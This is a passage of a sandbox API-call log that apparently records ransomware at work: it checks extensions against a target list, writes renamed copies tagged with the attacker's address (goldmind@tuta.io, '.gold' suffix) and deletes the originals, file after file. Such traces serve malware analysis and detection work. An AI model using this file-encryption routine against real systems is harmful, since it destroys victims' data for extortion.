hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0112.803] SetEndOfFile (hFile=0x3e0) returned 1 [0112.805] CloseHandle (hObject=0x3e0) returned 1 [0112.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf")) returned 1 [0112.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0112.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0112.834] lstrlenW (lpString=".doc") returned 4 [0112.834] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0112.834] lstrlenW (lpString=".docx") returned 5 [0112.834] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0112.836] lstrlenW (lpString=".pdf") returned 4 [0112.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0112.836] lstrlenW (lpString=".xls") returned 4 [0112.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0112.836] lstrlenW (lpString=".xlsx") returned 5 [0112.836] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0112.836] lstrlenW (lpString=".ppt") returned 4 [0112.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0112.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0112.836] lstrlenW (lpString=".zip") returned 4 [0112.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0112.836] lstrlenW (lpString=".rar") returned 4 [0112.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0112.836] lstrlenW (lpString=".bz2") returned 4 [0112.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0112.836] lstrlenW (lpString=".7z") returned 3 [0112.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0112.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0112.836] lstrlenW (lpString=".dbf") returned 4 [0112.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0112.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0112.837] lstrlenW (lpString=".1cd") returned 4 [0112.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0112.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0112.837] lstrlenW (lpString=".jpg") returned 4 [0112.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0112.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0112.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0112.837] lstrlenW (lpString=".doc") returned 4 [0112.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0112.837] lstrlenW (lpString=".docx") returned 5 [0112.837] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0112.837] lstrlenW (lpString=".pdf") returned 4 [0112.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0112.837] lstrlenW (lpString=".xls") returned 4 [0112.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0112.837] lstrlenW (lpString=".xlsx") returned 5 [0112.837] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0112.837] lstrlenW (lpString=".ppt") returned 4 [0112.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0112.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0112.837] lstrlenW (lpString=".zip") returned 4 [0112.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0112.837] lstrlenW (lpString=".rar") returned 4 [0112.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0112.837] lstrlenW (lpString=".bz2") returned 4 [0112.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0112.837] lstrlenW (lpString=".7z") returned 3 [0112.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0112.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0112.837] lstrlenW (lpString=".dbf") returned 4 [0112.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0112.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0112.837] lstrlenW (lpString=".1cd") returned 4 [0112.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0112.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0112.837] lstrlenW (lpString=".jpg") returned 4 [0112.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0112.838] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0112.838] lstrlenW (lpString="J0183172.WMF") returned 12 [0112.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0112.858] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=29788) returned 1 [0112.858] CloseHandle (hObject=0x3ec) returned 1 [0112.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf")) returned 0x20 [0112.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0112.882] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0112.882] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0112.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0112.883] GetLastError () returned 0x0 [0112.883] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x745c, lpOverlapped=0x0) returned 1 [0112.897] WriteFile (in: hFile=0x3b8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x7460, lpOverlapped=0x0) returned 1 [0112.898] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0112.898] WriteFile (in: hFile=0x3b8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.898] SetEndOfFile (hFile=0x3b8) returned 1 [0112.898] CloseHandle (hObject=0x3b8) returned 1 [0112.898] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0112.898] SetEndOfFile (hFile=0x3b4) returned 1 [0112.900] CloseHandle (hObject=0x3b4) returned 1 [0112.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf")) returned 1 [0112.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0112.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0112.902] lstrlenW (lpString=".doc") returned 4 [0112.902] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0112.902] lstrlenW (lpString=".docx") returned 5 [0112.902] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0112.902] lstrlenW (lpString=".pdf") returned 4 [0112.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0112.902] lstrlenW (lpString=".xls") returned 4 [0112.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0112.902] lstrlenW (lpString=".xlsx") returned 5 [0112.902] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0112.902] lstrlenW (lpString=".ppt") returned 4 [0112.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0112.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0112.902] lstrlenW (lpString=".zip") returned 4 [0112.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0112.902] lstrlenW (lpString=".rar") returned 4 [0112.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0112.902] lstrlenW (lpString=".bz2") returned 4 [0112.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0112.902] lstrlenW (lpString=".7z") returned 3 [0112.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0112.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0112.902] lstrlenW (lpString=".dbf") returned 4 [0112.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0112.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0112.902] lstrlenW (lpString=".1cd") returned 4 [0112.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0112.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0112.902] lstrlenW (lpString=".jpg") returned 4 [0112.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0112.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0112.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0112.902] lstrlenW (lpString=".doc") returned 4 [0112.902] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0112.902] lstrlenW (lpString=".docx") returned 5 [0112.902] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0112.902] lstrlenW (lpString=".pdf") returned 4 [0112.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0112.902] lstrlenW (lpString=".xls") returned 4 [0112.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0112.902] lstrlenW (lpString=".xlsx") returned 5 [0112.902] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0112.902] lstrlenW (lpString=".ppt") returned 4 [0112.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0112.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0112.903] lstrlenW (lpString=".zip") returned 4 [0112.903] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0112.903] lstrlenW (lpString=".rar") returned 4 [0112.903] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0112.903] lstrlenW (lpString=".bz2") returned 4 [0112.903] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0112.903] lstrlenW (lpString=".7z") returned 3 [0112.903] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0112.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0112.903] lstrlenW (lpString=".dbf") returned 4 [0112.903] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0112.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0112.903] lstrlenW (lpString=".1cd") returned 4 [0112.903] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0112.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0112.903] lstrlenW (lpString=".jpg") returned 4 [0112.903] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0112.903] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0112.903] lstrlenW (lpString="J0185670.WMF") returned 12 [0112.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0112.904] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=7304) returned 1 [0112.904] CloseHandle (hObject=0x3b4) returned 1 [0112.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf")) returned 0x20 [0112.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0112.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0112.904] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0112.904] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0112.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0112.905] GetLastError () returned 0x0 [0112.905] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1c88, lpOverlapped=0x0) returned 1 [0112.907] WriteFile (in: hFile=0x3b8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1c90, lpOverlapped=0x0) returned 1 [0112.907] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0112.907] WriteFile (in: hFile=0x3b8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0112.907] SetEndOfFile (hFile=0x3b8) returned 1 [0112.908] CloseHandle (hObject=0x3b8) returned 1 [0112.908] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0112.908] SetEndOfFile (hFile=0x3b4) returned 1 [0112.909] CloseHandle (hObject=0x3b4) returned 1 [0112.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0112.910] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf")) returned 1 [0112.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0112.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0112.911] lstrlenW (lpString=".doc") returned 4 [0112.911] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0112.911] lstrlenW (lpString=".docx") returned 5 [0112.911] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0112.911] lstrlenW (lpString=".pdf") returned 4 [0112.911] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0112.911] lstrlenW (lpString=".xls") returned 4 [0112.911] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0112.911] lstrlenW (lpString=".xlsx") returned 5 [0112.911] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0112.911] lstrlenW (lpString=".ppt") returned 4 [0112.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0112.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0112.911] lstrlenW (lpString=".zip") returned 4 [0112.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0112.911] lstrlenW (lpString=".rar") returned 4 [0112.911] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.091] lstrlenW (lpString=".bz2") returned 4 [0113.091] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.091] lstrlenW (lpString=".7z") returned 3 [0113.091] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0113.091] lstrlenW (lpString=".dbf") returned 4 [0113.091] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0113.098] lstrlenW (lpString=".1cd") returned 4 [0113.098] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0113.098] lstrlenW (lpString=".jpg") returned 4 [0113.098] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0113.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0113.098] lstrlenW (lpString=".doc") returned 4 [0113.098] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.098] lstrlenW (lpString=".docx") returned 5 [0113.098] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0113.098] lstrlenW (lpString=".pdf") returned 4 [0113.099] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.099] lstrlenW (lpString=".xls") returned 4 [0113.099] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.099] lstrlenW (lpString=".xlsx") returned 5 [0113.099] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0113.099] lstrlenW (lpString=".ppt") returned 4 [0113.099] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0113.099] lstrlenW (lpString=".zip") returned 4 [0113.099] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.099] lstrlenW (lpString=".rar") returned 4 [0113.099] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.099] lstrlenW (lpString=".bz2") returned 4 [0113.099] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.099] lstrlenW (lpString=".7z") returned 3 [0113.099] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0113.099] lstrlenW (lpString=".dbf") returned 4 [0113.099] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0113.099] lstrlenW (lpString=".1cd") returned 4 [0113.099] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0113.099] lstrlenW (lpString=".jpg") returned 4 [0113.099] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.099] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.099] lstrlenW (lpString="J0185798.WMF") returned 12 [0113.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0113.100] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=33824) returned 1 [0113.100] CloseHandle (hObject=0x39c) returned 1 [0113.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf")) returned 0x20 [0113.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0113.100] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.100] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0113.101] GetLastError () returned 0x0 [0113.101] ReadFile (in: hFile=0x39c, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x8420, lpOverlapped=0x0) returned 1 [0113.103] WriteFile (in: hFile=0x188, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x8430, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x8430, lpOverlapped=0x0) returned 1 [0113.107] ReadFile (in: hFile=0x39c, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0113.107] WriteFile (in: hFile=0x188, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.107] SetEndOfFile (hFile=0x188) returned 1 [0113.107] CloseHandle (hObject=0x188) returned 1 [0113.107] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0113.107] SetEndOfFile (hFile=0x39c) returned 1 [0113.109] CloseHandle (hObject=0x39c) returned 1 [0113.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185798.wmf")) returned 1 [0113.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0113.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185798.WMF") returned 63 [0113.111] lstrlenW 